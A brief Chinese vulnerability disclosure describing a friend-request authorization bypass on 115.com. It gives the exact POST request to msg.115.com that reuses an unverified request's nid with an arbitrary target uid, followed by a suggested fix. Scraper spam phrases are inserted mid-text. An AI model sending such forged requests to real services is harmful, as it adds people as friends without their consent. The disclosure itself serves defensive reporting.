随便找个没有验证过的好友请求,几下请求编号nid
然后:
POST /?ac=add_friend HTTP/1.1
Host: msg.115.com
Cookie: ***
nid=71****&fid=55555&gid=0&remark=
fid就是想加的人的uid,55555是赖霖枫,涛涛电脑知识网,
修复方案:
通过加好友验证时,涛涛电脑知识网,检查一下nid和fid是否对应
作者popok